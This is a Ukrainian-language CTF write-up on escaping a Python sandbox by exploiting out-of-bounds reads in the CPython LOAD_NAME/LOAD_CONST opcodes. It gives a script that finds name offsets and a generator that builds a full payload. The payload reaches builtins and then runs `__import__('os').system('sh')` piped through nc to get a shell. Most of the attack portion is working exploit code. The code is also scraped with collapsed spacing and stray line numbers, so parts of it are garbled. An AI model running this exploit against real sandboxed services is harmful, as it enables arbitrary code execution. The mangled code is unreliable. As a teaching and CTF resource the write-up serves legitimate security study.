Ми можемо використовувати функціонал OOB читання в опкоді LOAD_NAME / LOAD_CONST, щоб отримати деякий символ у пам'яті. Це означає використання трюку типу (a, b, c, ... сотні символів ..., __getattribute__) if [] else [].__getattribute__(...) для отримання потрібного символу (наприклад, назви функції), який вам потрібен.
Потім просто створіть свій експлойт.
Огляд
Вихідний код досить короткий, містить лише 4 рядки!
Проте що, якщо co_names стає порожнім кортежем? Опкод LOAD_NAME 2 все одно виконується і намагається прочитати значення з тієї адреси пам'яті, з якої воно початково мало б бути. Так, це функція зчитування "за межами меж".
Основна концепція рішення проста. Деякі опкоди в CPython, наприклад LOAD_NAME та LOAD_CONST, є вразливими (?) на OOB read.
Вони отримують об'єкт з індексом oparg з кортежу consts або names (це те, що приховано під назвами co_consts та co_names). Ми можемо звернутися до наступного короткого відрізка про LOAD_CONST, щоб побачити, що робить CPython під час обробки опкоду LOAD_CONST.
case TARGET(LOAD_CONST): {PREDICTED(LOAD_CONST);PyObject *value =GETITEM(consts, oparg);Py_INCREF(value);PUSH(value);FAST_DISPATCH();}1234567
Таким чином ми можемо використовувати функціонал OOB, щоб отримати "ім'я" з довільного зміщення пам'яті. Щоб переконатися, яке це ім'я та яке його зміщення, просто продовжуйте спробувати LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... І ви можете знайти щось приблизно з oparg > 700. Ви також можете спробувати використати gdb, щоб краще розібратися у структурі пам'яті, звісно, але я не думаю, що це буде простіше?
Генерація Експлоіту
Після того, як ми отримали корисні зміщення для імен / констант, як ми можемо отримати ім'я / константу з цього зміщення та використовувати його? Ось хитрість для вас:
Давайте припустимо, що ми можемо отримати ім'я __getattribute__ зі зміщенням 5 (LOAD_NAME 5) з co_names=(), тоді просто виконайте наступні дії:
[a,b,c,d,e,__getattribute__] if [] else [[].__getattribute__# you can get the __getattribute__ method of list object now!]1234
Зверніть увагу, що не обов'язково називати його __getattribute__, ви можете назвати його якось коротше або дивніше
Ви можете зрозуміти причину, просто переглянувши його байткод:
Зверніть увагу, що LOAD_ATTR також отримує ім'я з co_names. Python завантажує імена з тієї самої позиції, якщо ім'я однакове, тому другий __getattribute__ все ще завантажується з позиції offset=5. Використовуючи цю функцію, ми можемо використовувати довільне ім'я, якщо ім'я знаходиться в пам'яті поруч.
Для генерації чисел повинно бути тривіально:
0: not [[]]
1: not []
2: (not []) + (not [])
...
Сценарій експлойту
Я не використовував константи через обмеження довжини.
Спочатку ось скрипт для пошуку цих зміщень імен.
from types import CodeTypefrom opcode import opmapfrom sys import argvclassMockBuiltins(dict):def__getitem__(self,k):iftype(k)==str:return kif__name__=='__main__':n =int(argv[1])code = [*([opmap['EXTENDED_ARG'], n //256]if n //256!=0else []),opmap['LOAD_NAME'], n %256,opmap['RETURN_VALUE'],0]c =CodeType(0, 0, 0, 0, 0, 0,bytes(code),(), (), (), '<sandbox>', '<eval>', 0, b'', ())ret =eval(c, {'__builtins__': MockBuiltins()})if ret:print(f'{n}: {ret}')# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
І наступне призначене для створення реального Python експлойту.
import sysimport unicodedataclassGenerator:# get numnerdef__call__(self,num):if num ==0:return'(not[[]])'return'('+ ('(not[])+'* num)[:-1] +')'# get stringdef__getattribute__(self,name):try:offset =None.__dir__().index(name)return f'keys[{self(offset)}]'exceptValueError:offset =None.__class__.__dir__(None.__class__).index(name)return f'keys2[{self(offset)}]'_ =Generator()names = []chr_code =0for x inrange(4700):whileTrue:chr_code +=1char = unicodedata.normalize('NFKC', chr(chr_code))if char.isidentifier()and char notin names:names.append(char)breakoffsets ={"__delitem__":2800,"__getattribute__":2850,'__dir__':4693,'__repr__':2128,}variables = ('keys','keys2','None_','NoneType','m_repr','globals','builtins',)for name, offset in offsets.items():names[offset]= namefor i, var inenumerate(variables):assert var notin offsetsnames[792+ i]= varsource = f'''[({",".join(names)}) if [] else [],None_ := [[]].__delitem__({_(0)}),keys := None_.__dir__(),NoneType := None_.__getattribute__({_.__class__}),keys2 := NoneType.__dir__(NoneType),get := NoneType.__getattribute__,m_repr := get(get(get([],{_.__class__}),{_.__base__}),{_.__subclasses__})()[-{_(2)}].__repr__,globals := get(m_repr, m_repr.__dir__()[{_(6)}]),builtins := globals[[*globals][{_(7)}]],builtins[[*builtins][{_(19)}]](builtins[[*builtins][{_(28)}]](), builtins)]'''.strip().replace('\n', '').replace(' ', '')print(f"{len(source) = }", file=sys.stderr)print(source)# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
Це в основному робить наступне для тих рядків, які ми отримуємо з методу __dir__: